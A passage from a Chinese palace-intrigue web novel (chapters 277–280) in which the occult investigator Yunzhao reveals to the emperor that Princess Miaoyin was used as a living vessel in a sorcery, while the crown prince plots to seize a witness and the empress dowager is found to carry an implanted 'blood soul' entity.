至于观内具体何处有异,起初臣女亦无头绪。
只得与秦王殿下麾下之人,在观内可疑之处逐一排查,敲击砖面,摸索墙壁,耗费一个多时辰,方才机缘巧合,触动了那密室机关。”
皇帝脸色一时更沉了几分。
“陛下。”萧启这时道:“此事牵涉姑母丧女之痛,又涉及皇祖母清誉。
侄儿与云昭商议后,暂且未将玄都观内可能与宝珠案相关的细节悉数告知姑母。
只含糊说有了点新线索,恐需详查。
姑母近日身子一直不爽利,若再骤然得知此等骇人之事,恐她承受不住。”
皇帝闻言,面色稍霁,看向萧启的目光透出一丝赞许:“渊儿思虑周全,确该如此。
你姑母性子刚烈,又重情,接连打击之下,恐生不测。”
他话锋一转,目光如炬,重新锁住云昭,问得直截了当:
“云昭,太后此次异状,与玄都观查获的这些邪物,可有直接关联?”
云昭闻言,脸上罕见地浮现出一丝迟疑。
她羽睫微垂,眼波几不可察地飘向身侧的萧启,双唇轻抿,那情态竟似有几分小女儿般的无措。
与平日里在御前侃侃而谈、锋芒毕露的模样判若两人。
皇帝眉梢微挑,顿觉有趣:“但说无妨。在朕面前,还有什么需要犹豫的?”
萧启侧身,对云昭微微颔首,温声道:“既已到了御前,该让陛下过目的,便拿出来吧。陛下明察秋毫,自有圣断。”
两人这一番默契的迟疑与催促,反而更勾起了皇帝的好奇心。
“究竟是何物?竟让你二人都如此谨慎?”
云昭这才从袖中取出一个物件,双手奉上。
那是一个巴掌大小的乌木嵌螺钿首饰匣子,做工精巧,边角处螺钿已有轻微剥落,显然有些年头了。
皇帝目光触及那匣子,先是一怔,随即竟不由自主地站起身,绕过御案,走到近前,细细端详。
片刻后,他抬起头,眼中带着惊疑,看向萧启:“这……此物你从何处得来?”
萧启声音低沉,带着一丝不易察觉的感伤:
“回父皇,儿臣也是近日方知,我原来还有一位早夭的小姑姑。
是皇祖母慌乱之下,告知儿臣,此物……乃是妙音小姑姑旧物。”
“妙音……”皇帝喃喃念出这个名字,眼神骤然变得深远。
方才的滔天怒意,似也被这突如其来的旧物冲淡了些许。
他伸出手,指尖轻轻拂过匣子表面冰凉的螺钿,点了点头,叹息道:
“不错,是她的东西。这妆奁盒原是一整套,她最偏爱这只小的,常用来放些心爱的耳坠子、小戒指。”
他抬眸,目光在云昭沉静的侧脸上停留一瞬,语气复杂:“并非朕刻意对外隐瞒她的事,实在是,当年情状,一言难尽……也罢!”
他像是下定了某种决心,“既然今日机缘巧合,云昭你也在此,有些困惑朕多年的疑团,或许……真能得解。”
他扬声唤道:“常玉。”
一直垂手侍立的常公公立刻躬身:“老奴在。”
“去,将朕寝殿暗格中,那只贴着‘丙辰封’字样的紫檀木盒取来。”皇帝吩咐道。
常玉领命而去。
不过一盏茶功夫,他便捧回一只尺余长、七八寸宽的紫檀木盒。
盒盖上贴着已然泛黄的封条,墨迹书“丙辰年封”,正是妙音公主逝去那年。
皇帝接过木盒,手指抚过封条,眼中情绪翻涌。
他并未屏退云昭与萧启,而是当着他们的面,亲手揭开了封条,打开了盒盖。
一股混合着陈旧木料与一丝古怪焦糊气味的味道淡淡散出。
盒内并无金银珠宝,只有一些颜色焦黑、形状不规则、似石非石、似骨非骨的碎片,零星散落在衬底的黄绫上。
“当年,妙音在宝华寺‘圆寂’。”皇帝的声音低沉下来,
“报丧的人回来说,公主殿下于禅房内安详坐化,遗容平静,且有亲笔遗书为证。
朕虽觉她去得突然,但纸上字迹确是妙音亲笔,且前去查看的人都说并无不妥。朕除了伤怀,并未深究。”
“谁知,停灵三日,负责守夜的宫人来报,说公主灵柩有异!朕亲自赶去……你们可知,朕在那棺椁之中,看到了什么?”
“棺中妙音的尸身,竟不翼而飞!取而代之的,便是这一堆……焦黑之物!
当时有人惊骇之下,胡言是什么高僧圆寂方有的‘舍利子’,也有人说恐是公主修行有成,尸身自燃,羽化登仙……”
他嗤笑一声,满是讽刺:“朕虽尊佛重道,但并非无知村夫!古籍所载佛门高僧舍利,晶莹圆润,色有五彩,岂是这般污浊焦黑的模样?
这绝非什么舍利,更非什么羽化!
可当年,宝华寺方丈、太后,甚至玉衡那妖道都曾进宫解释。
朕虽不信,却苦无实证,更无精通此道之人可问,此事便成了悬案,封存至今。”
他的目光紧紧锁住云昭,那份帝王的威仪之下,竟隐隐流露出一种近乎求助的迫切:
“云昭,你既能沟通魂灵,识破妖道邪术,可能……看出此物端倪?妙音她,当年究竟遭遇了什么?”
自从玄都观事发,皇帝对玉衡的信任彻底崩塌。
此刻,他只想从云昭口中,听到一个真正的答案。
云昭从木盒中拈起一片最小的焦黑碎片,置于鼻尖下,细细嗅辨。
碎片透着一股极淡的腥甜气息,混杂在焦味之中。
她回想起昨日长公主提及妙音公主“圆寂”前后种种细节,再结合手中这碎片的异相,一个令人毛骨悚然的猜想逐渐清晰。
“陛下,臣女未曾亲见妙音公主仙逝时的情形,但据陛下所述,以及此物气息……臣女斗胆,有一个猜测。”
“讲。”皇帝屏住呼吸。
“妙音公主当年,很可能并非真正‘圆寂’,而是陷入了一种人为造成的‘龟息假死’状态。”
第278章 玄阴姹女
“此种状态,绝非自然形成,必是服用了某种秘药。
不论是经验老到的宫人嬷嬷,还是医者仵作,都难以察觉其生命迹象。”
皇帝瞳孔骤缩。
云昭继续道,语气渐凝:“公主殿下是在这棺椁之中,在无知无觉的假死状态下,经历了……‘活体为鼎,阴火炼形’的邪术。”
“活体为鼎,阴火炼形?”皇帝重复着这八个字,每个字都让他脊背发凉。
“正是。”云昭指向盒中焦黑碎片,“陛下可以如此理解:
有人以秘法,在她体内炼制了某种特殊之物。
公主殿下的血肉躯骸,被施术者当作了一个特殊的‘容器’。
此物最终炼成时,需汲取殿下体内全部生机精元,并以一种自内而外的‘阴火’灼烧其躯壳。”
也就是说,这些焦黑的残片,其实是妙音公主的血肉骨骼所化!
他最亲爱的小妹,居然被人当成了炉鼎,活生生烧死在自己的棺椁之中!
“呕——!”皇帝猛地弯腰干呕起来。
只要一想到妙音竟是在棺中经历了漫长而痛苦的炼狱,最后化为这一盒焦炭……
无边的愤怒与恶心翻涌而上,几乎击垮了这位心志坚定的帝王。
常玉公公也听得心头骇然。
他慌忙端来温茶和漱盂,声音发颤:“陛下,保重龙体啊!
您从昨日得知玄都观之事便水米未进,一夜未眠,旧事重提,伤心伤身啊!”
他又转向云昭,几乎是哀求道,“云司主,您神通广大,定要揪出这作孽的元凶,为妙音公主,也为陛下,讨回公道啊!”
萧启一边为皇帝抚背顺气,一边沉声劝道:“事隔二十余载,当年涉事之人恐怕早已湮没无闻,现场痕迹更是荡然无存。
想要查明真相,擒拿真凶,只怕……难如登天。”
“咳……咳咳……”
皇帝猛地挥开常玉递上来的茶盏,瓷盏碎裂在地,发出清脆的声响。
他捂着胸口,剧烈的咳嗽让他眼角泛红,却更显得那双眼睛执拗得惊人。
他死死盯着云昭,声音嘶哑破碎,仿佛用尽了全身力气:“招魂——!”
他踉跄一步,竟直接抓住了云昭的手腕,力道大得惊人:“你来为妙音招魂!朕知道你能做到!”
他甚至开始用另一只手去拉扯自己的衣袖,露出小臂,“朕近来也读了不少古籍!
朕知道,有时动用高深玄术,需要至亲骨血为引,方能沟通幽冥!
你就用朕的血!用多少都无妨!朕一定要亲口问问她,到底是谁!
到底是谁把她害成那样!朕要她亲口说出来——!”
云昭手腕被攥得生疼,她却并未挣脱,只是抬起眼,平静地注视着眼前这位几近失控的九五至尊。
自入京以来,她与这位帝王也算有过数面之缘。
从第一次见面,云昭就看得清楚,皇帝周身龙气虽盛,却缠绕着浓重的污浊之气。
无数怨念如附骨之蛆般纠缠不去。
这是德不配位、业力深重之相。
皇帝,绝不会善终。
此刻,还是云昭第一次,如此清晰地看到皇帝身上与常人相近的痛苦与悔恨。
她心中只觉得无限讽刺。
若真如此在意这个妹妹,当年她产后崩漏、心灰意冷执意出家时,为何不强行阻拦,反而任由她在青灯古佛间消磨年华?
若真如此在意她的死因,当年见到棺中异状时,为何不顶着太后和朝臣的压力,彻查到底?
反而在几句含糊的“祥瑞”、“功德”说辞下,将此事草草封存,任由真相湮灭二十余载!
人都化作一捧焦灰二十几年了,现在才来演这出痛彻心扉的戏码,不觉得恶心吗?
云昭在心中暗忖:难怪柔妃享尽帝王宠爱,复仇之心却从未有过片刻动摇。
恐怕,她早就看穿了这位帝王深情之下的凉薄,强势之下的虚伪。
这样的人,不值得追随,更不值得交付真心!
心中念头电转,云昭面上却依旧沉静如水,只是微微用力,将自己的手腕从皇帝滚烫的掌中抽回。
她后退半步,声音清晰而克制:“陛下,请节哀。二十几年光阴,对于魂魄而言,太过漫长……”
皇帝打断她:“二十几年,她不一定就转世投胎了!而且你不是说过,即便转世,地魂也一直都在,总有法子沟通!
朕不管!你必须给朕试一试!”
云昭缓缓摇头,直视皇帝:“陛下,此等术法,旨在榨取魂魄全部生机与灵蕴,用以滋养或炼制邪物。
公主早已魂飞魄散,灵识俱灭了。”
“上穷碧落下黄泉,世间再无妙音公主了。”
皇帝如遭雷击,整个人僵在原地,攥紧的拳头无力地松开,方才那股癫狂的气势骤然消散。
御书房内死寂一片,只有他粗重而断续的呼吸声。
好半晌,他才像是找回了一点神智,急迫地追问:“你方才说,那妖人是用妙音的身子炼制东西?他到底要炼制何物?
此等邪物,炼制成功必有异象,或需特殊用法,或会留下独特痕迹!
能否循着这条路径,反向追查,揪出真凶?”
云昭再次摇头:“陛下,时间相隔太久,除了这盒焦黑遗骸,再无任何物证。
臣并非全知全能,不可能悉知世间所有偏门邪法。”
她抬起眼,目光锐利:“不过,对方选中妙音公主,绝非偶然。敢问陛下,可还记得妙音公主的确切生辰?”
皇帝记性倒是极好,时隔多年,依旧脱口而出妙音公主的八字:“丙子,丁酉,辛亥,壬子。(注:如有相同八字,请不要多想。本节为作者杜撰,并无现实依据。)”
云昭闻言,心中默算,指诀在袖中微动。
“丙火见子水为七杀,水火相克,暗藏波折。月柱丁酉,丁火阴柔,酉金肃杀。日柱辛亥,辛金坐亥水,金沉水底。时柱壬子,壬水浩荡,子水汇聚……”
云昭语速平缓,却字字清晰,“妙音公主乃是罕见的‘玄阴姹女’命格——
四柱八字之中,水势滔天,阴气极盛,且辛金为质,性主肃杀。
在玄门某些邪异流派眼中,这等命格的女子,其血肉魂魄,乃是炼制某些阴邪之物的……绝佳‘炉鼎’与‘药引’。”
通俗来讲,妙音公主的生辰八字,就是民间许多老百姓口中的阴年阴月,阴日阴时!
云昭脸色微变,但她眼睫低垂,很快掩饰了过去。
唯有一直留意着她的萧启,捕捉到了她眼睫颤动,猜测她是突然想到了什么,却没有说完。
云昭继续道:“恐怕……从公主殿下当年产后崩漏不止,就是一个局。有人,早就盯上了她。”
皇帝眸色微暗,他看向萧启:“渊儿,宝华寺方丈,早在十年前就已‘圆寂’。
此事干系重大,牵涉太深,你务必秘密查访。
凡与当年妙音之事有牵连的旧人,无论僧俗,无论死活,都给朕细细地筛一遍!切记,不可打草惊蛇!”
云昭在旁默默听着,垂眸静立,心中思绪翻腾。
宝华寺,从她回京后便屡次听闻。
此地,不仅事涉妙音公主。
别忘了,那根暴露了宝珠藏身之处的红绳铃铛,正是长公主爱女心切,特意从香火鼎盛的宝华寺求来的!
她从不相信巧合。
红绳铃铛一事,当时她按下未提,只因那是长公主一片拳拳慈母心。
她不忍立时戳破,徒增义母痛悔。
所以即便当时便想起这一节,可当着长公主与驸马的面,云昭并未流露出任何异样。
萧启肃然躬身:“儿臣领旨,必当谨慎查办。”
就在这时,御书房外忽然传来一阵急促的脚步声,以及內侍有些慌张的通禀声。
皇帝勉强压下喉间不适,直起身,眼神恢复了帝王的锐利与冰冷:“何人喧哗?”
只见常海与双喜,双双跪倒在殿门外。
皇帝皱眉,目光落在常海脸上那道新鲜的血痕上,不由心头一沉。
双喜已抢着磕头:“启禀陛下!安亲王、安王妃携南华郡主,正跪在宫门之外,口口声声说要向陛下请罪!”
“请罪?”皇帝眼神一凛,没什么好脸色,“他请什么罪?这个安王,还真是会挑时候!”
双喜不知殿内方才都发生了什么,此时听得皇帝语气不善,当即狠狠叩首,不敢抬头。
皇帝又看向常海:“说!”
常海苦着脸,叩首道:“陛下,太后娘娘醒来后,便开始摔砸寝宫内器物,药也不肯喝,人也不许近身,直嚷着要见玉衡真人,要回玄都观……”
常海脸上的伤,便是阻拦时,被飞溅的瓷片划破所致。
皇帝闭了闭眼,再睁开时,眼底已是一片深不见底的寒潭,所有情绪都被冻结其中。
太后这摊事,不能再拖了。
是该有个决断。
他命双喜去把安王一家带进来,接着看向云昭与萧启:“你们两个,随朕来。”
第279章 记住,要活的
盛夏的莫愁湖,平静得宛如上好的翡翠。
一艘精巧的画舫无声滑过湖面。
船头立着一人,身着暗银色常服,正是闭门多日的太子。
萧鉴脸色仍有些苍白,眼底带着挥之不去的阴郁。
拂云垂手侍立在五步之外,连呼吸都放得轻缓。
这位颇得东宫青眼的女官比任何人都清楚,殿下这半个月是如何过来的。
夜夜惊梦,不思饮食,脾气愈发阴晴不定。
今日殿下难得说要出来泛舟散心,可从其紧绷的神色来看,这趟“散心”怕是徒增烦扰。
画舫悄无声息地驶向湖心岛东岸。
那里有一片开得正盛的蕣华,烂漫如云霞。
太子的目光却不在花上。
他的视线漫无目的地扫过湖面,落在不远处另一艘稍大的游船上。
那是京城里常见的世家游船,装饰华美,舱内隐约传出年轻男女的说笑声。
清脆、恣意,带着不知愁的鲜活。
萧鉴有些厌恶地别开眼——
自从宋白玉那事之后,他就一直不曾与任何女子有过房事。
即便那自称“府君”的邪师通过水镜,让他窥见那本该属于他东宫储君的光明命途,但现实的不如意始终摆在眼前。
尤其,他的“毛病”,也一直没有痊愈的迹象。
放在从前,太子最乐得见到年轻鲜妍的女子。
可现在,只要瞧见那些年轻的男男女女,他就打从心底里生出一种厌恶。
可当画舫又靠近了些许,零碎的字眼便乘着风,清清楚楚地飘了过来:
“……南华郡主……真疯了?”
“岂止是疯!我有个书童的表兄,在安王府当差,昨夜亲眼瞧见的——
披头散发,又哭又笑,满院子乱跑,拉都拉不住!”
一阵压抑的、混合着惊诧与兴奋的唏嘘。
太子的指尖骤然停住。
又一阵笑语传来,这次是个女声,压低了:
“听说她哭喊的内容才吓人,扯着嗓子嚷什么‘嘉乐郡主死得冤!”
“何止啊,”另一个男声接口,语气里带着猎奇的快意,“她还攀咬……”
声音陡然低了下去,像是被人提醒了什么。
可那戛然而止的尾音,比任何明确的指控都更令人心惊肉跳。
攀咬谁?
太子捏着白玉酒杯的手指蓦地收紧。
薄胎的玉杯在他掌心震颤,杯中琥珀色的酒液荡起细密的涟漪,映出他陡然阴沉的眼。
“去。”
他声调不高,却让身后侍立的拂云忍不住打了个寒噤。
“问清楚,”萧鉴没有回头,依旧望着那艘游船,
“他们在嚼什么舌根。一个字,都不许漏。”
拂云深深躬身:“奴婢遵命。”
她直起身,朝船舷阴影处极轻地点了下头。
两个原本如同木雕泥塑般的灰衣侍卫无声颔首,足尖在船板轻轻一点,身影如鬼魅般掠向岸边,几个起落便消失在花丛深处。
画舫依旧缓缓前行,滑入一片垂柳的荫蔽。
光线暗了下来,萧鉴的脸半明半暗,眼底的阴郁,更显浓重。
他举起酒杯,凑到唇边,却半晌没有饮下。
酒香氤氲,他却仿佛闻到一股冰冷的血腥气,从记忆深处翻涌上来。
他手上沾惹过的人命,数之不尽。
但如果不是三年前那次意外,卫宝珠……本不该死。
那次的事之后,他有好一阵子没与叔公相聚。
并非他被吓破了胆,而是每每想起小女孩被活生生溺死在莲池里的情形,他就觉得浑身别扭。
毕竟是嫡亲的表妹,眼睁睁瞧着她死,非他所愿。
要怪,只能怪她自己运气不好。
如果她那天没有出门,如果不是她胆子太大,径自摘掉了蒙眼的巾子……
一切,本来还有转圜的余地。
约莫一炷香后,岸上传来几声鹧鸪啼叫,长短有序。
这是侍卫返回的信号。
又过了一会儿,拂云亲自驾着一叶轻舟靠近画舫,飞身跃上甲板。
她的脚步比离去时沉重了许多,脸色在昏暗光线下显得异常难看,甚至不敢直视太子。
她快步走到萧鉴身后,附耳低语。
声音很轻,很急,夹杂着难以抑制的惊惶。
随着她的叙述,萧鉴的脸一寸寸绷紧。
拂云说完,垂首退开一步,额角已沁出细密的冷汗。
画舫内静得可怕,只有湖水轻拍船身的声响,单调而空洞。
“咔”一声轻响。
萧鉴手中的白玉酒杯,竟被他生生捏出一道裂痕。
下一瞬,他猛地扬手,将那价值连城的玉杯狠狠掷入湖中!
“噗通!”
沉闷的落水声,在寂静的湖面格外刺耳,惊起不远处苇丛中栖息的几只白鹭,扑棱棱地飞向灰蒙蒙的天空。
“贱人!”
太子从牙缝里挤出两个字,胸膛剧烈起伏,苍白的脸上涌起病态的红潮,眼底却是骇人的猩红。
“信口雌黄,胡乱攀咬!”他一字一顿,眼中杀机毕露,
“陆倩波她是活得不耐烦了吗?!”
他眼前闪过长公主那双总是带着审视和疏离的眼睛。
姑母本就偏心,偏得毫无道理,一心疼爱萧启那个身份不明的野种!
这几年,他放下身段,百计讨好只为博她一句认可。
可她呢?
永远是不冷不热,永远是那种居高临下的态度。
若让姑母听到这些疯话……
不,她一定已经听到了!
以姑母对卫宝珠那疼入骨髓的性子,以她那护短护到极致的雷霆手段……
她会怎么想?她会相信陆倩波的胡言乱语吗?
拂云见状,连忙低声劝慰:“殿下息怒!殿下万请保重贵体!此事……颇为蹊跷啊!”
她急急道:“当日之事,知情者寥寥,所有参与的侍卫,都被灭口。郡主她怎会知晓其中细节?
就算她疯癫胡言,安王府重重深院,这等丑事,本该死死捂住,怎会一夜之间传得满城风雨?这背后……恐怕有人……”
太子猛地一抬手,止住了她的话。
他深吸几口气,强迫自己压下立刻杀去安王府的冲动。
不能乱。
现在一步踏错,便是万劫不复。
“派人再去打听,昨夜安王府到底发生了什么?”
“是。”拂云应下,却又迟疑,“殿下,那……长公主府那边,可要派人去……”
“去什么去?”太子低吼,“现在去,是坐实做贼心虚吗?!”
他烦躁地在船头踱了两步,忽地问,“安王现在何处?”
“回殿下,半个时辰前,安王携王妃、南华郡主,已匆匆入宫,说是……向陛下请罪。”
“请罪?”太子冷笑一声,“他倒是乖觉,知道抢先一步去父皇面前哭诉。可惜……”
他眼神幽暗,“有些话,一旦说出来,覆水难收。”
他转身,面向波光粼粼的湖面,声音压得极低,却字字淬毒:
“传令下去,给孤盯死了安王府。只要陆倩波回府……,寻个机会,把她‘请’来。”
他顿了顿,指尖摩挲着指间的墨玉扳指,语气轻缓,
“记住,要活的。孤要亲自问问她,是谁给她的胆子,敢提三年前的事。
又是谁,在背后教她乱吠。”
拂云心头一凛,深深垂下头:“奴婢明白。”
*
偏殿。
这里远离中轴线的巍峨正殿,平日里多是用来临时安置等候召见的宗亲或臣子。
陆倩波缩在一张圈椅里,身上裹着母亲临时找来的孔雀绒斗篷,却仍止不住地发抖。
不是冷,是怕。
从骨头缝里渗出来的怕。
她头发散乱,脸上泪痕未干,离家前母亲命人为她精心描画的妆容早已花成一团,显得狼狈又可怜。
薛静姝紧紧挨着女儿坐着。
她一只手死死攥着女儿冰凉的手,另一只手无意识地绞着帕子,上好的丝绸已被她绞得皱不成形。
她的脸色比女儿好不到哪里去。
原本白皙丰润的脸庞,惨白中透着一股不祥的青灰,眼下的乌黑浓重得吓人,昭显出彻夜未眠的煎熬。
周围每一点风吹草动——
殿外侍卫甲胄轻微的摩擦声,远处宫人模糊的低语,甚至香灰落下的细微声响,都能让她惊得浑身一颤。
“王爷。”她终于忍不住,转向一直负手站在窗前的陆擎,“我们……我们到底该怎么办啊?
云昭,还有秦王……他们比咱们先一步进宫了!
他们一定在陛下面前,把倩波往死里抹黑!
陛下……陛下会不会信了他们?
倩波她昨天就是被云昭算计了,她是中了邪啊!”
陆擎没有回头。
他背对着妻女,目光似乎穿透了窗纱,看向不知名的远方。
他身姿依旧挺拔,属于大将军的威仪仍在。
但仔细看,那挺直的脊背带着一丝不易察觉的僵硬,垂在身侧的手,指节因为用力而微微凸起。
“云昭那个妖女!”陆倩波忽然嘶声开口,声音尖厉,带着浓浓的怨恨和迁怒,
“她就是个祸害!从她回京开始就没好事!招蜂引蝶,勾引秦王,现在又来害我!
一定是她用了什么妖法害我!让我胡说八道!
爹,娘,你们要为我做主啊!”
她越说越激动,猛地从圈椅里挣起来。
孔雀绒斗篷滑落在地也浑然不顾,眼睛里布满血丝,闪烁着疯狂的光芒:
“杀了她!杀了那个贱人!只要她死了,就没事了!一切都好了!”
“你给我闭嘴!”
薛静姝吓得魂飞魄散,猛地转身,死死捂住女儿的嘴,指甲几乎掐进陆倩波的脸颊肉里。
她压低声音,又急又怒,泪水夺眶而出,“我的小祖宗!我的活冤家!你还没吃够教训吗?一张嘴尽惹祸!
这是宫里!紫宸殿就在不远处!隔墙有耳!你是真想害死我们全家吗?
你想让陆家满门抄斩,给你这张破嘴陪葬吗?!”
陆倩波被捂得呼吸困难,脸颊生疼!
她瞪大了眼睛,呜呜挣扎,眼中满是委屈和不服。
薛静姝松开手,看着女儿依旧不知死活、只会怨天尤人的模样,一股深重的悔恨与无力感汹涌而来。
这些年,她都做了什么?
溺爱纵容,百依百顺,要星星不给月亮!
把这个女儿养得骄纵跋扈,目中无人,心思浅薄,受不得半点委屈。
哪怕闯了天大的祸,她也只会觉得是别人的错……
她腿一软,“扑通”一声,跪倒在冰冷光滑的青砖地面。
她也顾不得疼痛,双手抓住陆擎的衣摆,仰起脸,泪水涟涟:
“王爷,我错了,我真的知道错了!是我没教好女儿,是我把她惯坏了!
早知如此,早知道她会惹下这天大的祸事,我宁愿她一直傻着,一直昏迷着!
至少那样,她还能平平安安,享一辈子富贵荣华!
我……我现在真的好后悔,好后悔啊!”
她哭得撕心裂肺,此时吐露的都是肺腑之言。
比起女儿清醒后带来的灭顶之灾,从前那般无知无觉的痴傻,竟成了再也不可能重得的奢望。
陆擎终于动了一下。
他缓缓转过身,低头看着跪在地上仪态全无的妻子。
那张曾经雍容高贵的脸,此刻写满了恐惧、悔恨和走投无路的疯狂。
他眼中闪过一丝极复杂的情绪,有疲惫,有厌烦,有一丝几不可察的怜悯。
但更多的,是一种深沉的、积压已久的郁结。
“王爷!”薛静姝忽然想到什么,语无伦次地急切道,“要不,您去求求苏凌云!
我知道您心里一直有她!这么多年,您书房暗格里还收着她的画像!
我同意和离!我立刻就写和离书!我什么都不要!”
她仰着脸,泪水迷蒙了眼睛,却努力想看清丈夫的表情:“只求您看在这些年夫妻的情分上,看在倩波是您亲生骨肉的份上,去求求苏凌云!
让她劝劝云昭!让云昭高抬贵手,放过倩波吧!
只要她肯改口,说倩波是中了邪,是被魇着了,一切还有转圜的余地!王爷,求您了!”
“你疯了!”
陆擎猛地抽回衣摆,力道之大,让薛静姝一个踉跄,几乎扑倒在地。
他闭了闭眼,再睁开时,眼底是浓得化不开的自嘲:“我与她,早已是陌路人。
我去求她?我是何人,凭什么我去求,她就得见?
静姝,你清醒一点!也别把我想得太有分量!你我都不要太自以为是了!”
这么多年,他远在边关,甚至没有勇气去打探她的消息。
直到这次回京,听到那些风言风语,才知道她这些年,过的都是什么日子。
“别说我已有妻室、有女儿,就算我如今孑然一身,我也没那个脸,再去见她,再去求她任何事!”
他的目光扫过瘫软在地的妻子,又看向依旧用怨毒眼神看着自己的女儿,最后落回自己颤抖的手上。
这双手,握得住铁槊,拉得开强弓,在沙场上令敌人闻风丧胆。
可如今,却连自己的女儿、自己的家,都护不住。
“是我没教好女儿。”他声音沙哑,带着一种英雄末路般的苍凉,
“我常年在外,对她疏于管教,只知用钱财权势来补偿。
是我这个父亲,做得失败。”
他顿了顿,目光投向紧闭的殿门。
门外,是深不可测的宫廷,是掌握生杀予夺的皇权。
“惹下这滔天大祸,结下这生死仇怨,”他每一个字都说得很慢,很清晰,
“是我们自己造的孽。除了我们自己担着,求谁……都没用。”
薛静姝瘫软在地,最后一丝希望也破灭了。
殿内重归死寂,只有薛静姝压抑的啜泣和陆倩波不安的抽噎声。
第280章 她还能入轮回吗?
与此同时,慈宁宫,气氛同样凝重。
皇帝已移驾至此,脸色阴沉地坐在外间。
里间不断传来瓷器的碎裂声、太后的嘶吼诅咒、以及宫人惊恐的劝阻声。
常海脸上又添了新伤,苦着脸出来禀报:
“陛下,娘娘……娘娘力气奇大,五六个嬷嬷都按不住。一直嚷着要见玉衡**,要回玄都观……”
云昭微垂着脸静立着,脑子里在思索的却是另一件事。
玉衡当初为何要假借梅柔卿之手,利用“太岁肉”一事,将太后长困于玄都观?
又为何不停炼制丹药,助她精神焕发?
从前或许百思不得其解,一个方外之人,如此处心积虑控制当朝太后,所求无非权势钱财。
可玉衡表现出的,又似乎志不在此。
直到妙音公主的事浮出水面,有些事情便很能说得通了。
尤其,那日萧启的人动手时,玉衡应该没有任何提防。
也就是说,如若玉衡背后的人,当年真用妙音公主炼制了什么。
那东西,如今有很大可能,就在太后体内!
尽管云昭并不知道那到底是什么,但有一点是很明白摆在明面的——
太后与妙音公主是母女关系,血脉相连。
这意味着,太后这具躯壳本身,才是玉衡和他背后之人的图谋。
“陛下,”云昭开口,声音冷静,“太后娘娘如此,恐怕体内有异物作祟。”
皇帝悚然一惊:“异物?可能取出?”
“臣需近前仔细探查,方能确定。”
云昭道,“但此物若真存在,必与太后气血经脉息息相关,甚至窃居要害。
若强行取出,恐伤及性命。”
皇帝看着内室的方向眼中挣扎片刻,最终化为一片冰冷:“你,尽力施为。
若能取出此物,救下太后,自然最好。若不能……”
他顿了顿,声音低沉,“也是太后命数如此,咎由自取。
届时,你定要为朕查明其根源来历,追查幕后真凶。
如此,同样是为皇室立下大功。”
这就是让云昭放手去做的意思了。
常海的头垂得更低,周围的宫人更是连呼吸都几乎停止。
“臣,遵命。”
云昭不再多言,与守在一旁的萧启交换了一个眼神。
两人无需多言,彼此心意已通。
室内一片狼藉,名贵瓷器、玉器碎片满地。
空气中除了药味和熏香,还弥漫着一股淡淡的、如同**花果的甜腥气。
四五个粗壮嬷嬷气喘吁吁地试图按住榻上之人——
昔日雍容华贵的太后,此刻披头散发,面色却诡异地泛着一种不正常的红润。
她力气大得惊人,一挥臂竟将两个嬷嬷甩开。
云昭的出现,让挣扎中的太后猛地一滞,赤红的眼睛死死盯住她:“是你——!
是你算计哀家!让哀家一直昏睡!
是你害**玉衡**!你用假玉衡逼哀家发疯!
你这孽障,是想断了哀家的修仙之路啊!
陛下!陛下!此女居心叵测!意图谋害哀家!陛下你要为哀家做主啊!”
然而整个慈宁宫,除了太后一声比一声高的嚎叫,再无任何其他声响。
云昭示意嬷嬷们退开些许,自己缓步上前。
指尖凝起一抹极淡的金光,双眸微阖,灵识如丝,小心翼翼地探向太后体内。
果然!
在太后心脉附近,盘踞着一团浓郁到化不开的“东西”!
而且这东西,哪怕她开启玄瞳视界,轻易也难以“看”到。
唯有利用自身灵识,小心探索,才能隐约感知到它的存在。
它并非实体,更像是一团被强行炼化过的“气”,正不断抽取太后本身所剩无几的生机。
云昭尝试用灵力包裹住一根用于定穴镇魂的金针,控制住太后周身几处大穴。
可是只稍一触碰,太后便浑身抽搐,发出痛苦的嚎叫,反抗更剧。
那东西异常警觉,就牢牢吸附在太后心脉之上。
云昭立刻撤回了灵力和金针,眉头紧锁。
这东西给她的感觉,倒是与蛊更为近似。
云昭对南疆蛊术了解不深,但有人对此道颇为精通。见识广博,远超常人。
“殿下,”云昭转向外间,
“可否立刻派人,去昭明阁请有悔大师速来宫中?
就说,有疑似魂饲之物,需大师佛法相助,方能稳妥处置。”
屏风外,萧启毫不犹豫的声音传来:“即刻去请!”
不过两刻钟,有悔大师便匆匆而至。
他先向皇帝合十一礼,随即与云昭进入内室。
只看了一眼太后情状,有悔大师便低诵一声佛号,眉头紧锁:“阿弥陀佛……好霸道的‘血魂饲’!
此非寻常蛊毒,乃是抽取活人魂魄精血,混合怨煞之气,以邪法炼成‘伪魂’。
将‘伪魂’放置于玉石之中,静养多年,之后再种入与前人血脉相连的宿主体内——
三年之后,伪魂化为真魂,那才是真正祸乱世间的至阴至邪之物!”
许是看出云昭有许多疑惑,有悔大师继续解释道:
“而在此三年期间,
宿主生,则伪魂日益强壮;
伪魂存,则宿主可得其反哺之力,呈现返老还童、力大无穷等异状。
实则,本源被不断蚕食,神智受其侵蚀。
一旦施术者失去控制,或伪魂得不到‘喂养’,便会反噬宿主,直至同归于尽。”
云昭听得不住点头,有悔大师所言,倒是与她此前推断足有七八分的吻合。
难怪妙音公主死去多年,这邪物才再次现世!
她追问有悔大师:“敢问大师,这血魂饲一旦炼成,到底所为何用?”
有悔大师道:“惭愧,老朽此前只在古籍上读到过此物。
有人说,此物能溯前世,逆生死。
但如此炼制邪法,有违天道,有逆人伦,故而此物一旦现世,必会引来天雷天罚,让施术者魂飞魄散……”
说到这,有悔大师皱了皱眉,对云昭道:
“老朽并不相信,世上真有能溯洄前世,逆转生死之物。
想必背后炼制此物之人,也不过是贪求一个根本不可能实现的奢望罢了。”
云昭却在听到那句“溯前世,逆生死”时,眼瞳一震。
须臾,云昭又道:“大师可能助我将其取出?”
有悔大师沉吟:“此物已与宿主心脉纠缠,硬取必死。”
外间,皇帝已然听到了一切。
不消云昭多说,他也逐渐回过味儿来。
太后体内的这个东西,不仅与玉衡关系匪浅。
恐怕,就连当年妙音公主的死,也与之息息相关。
片刻,皇帝的声音传来,冰冷得不带一丝感情:“有劳大师与云昭,尽力而为。朕……只要一个明白。”
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>这便是最后的旨意。
有悔大师不再多言,盘膝坐在太后榻前三尺外,手结法印,口中开始诵念经文。
他的声音并不响亮,却仿佛带着某种奇异的穿透力,仿若暖流,又似坚壁,缓缓笼罩住狂躁的太后。
太后的挣扎肉眼可见地减弱下来,眼中的狂乱渐渐被一种空洞和迷茫取代,喉咙里发出无意识的呻吟。
云昭双手快如闪电,符咒辅以金针,在太后周身快速布下。
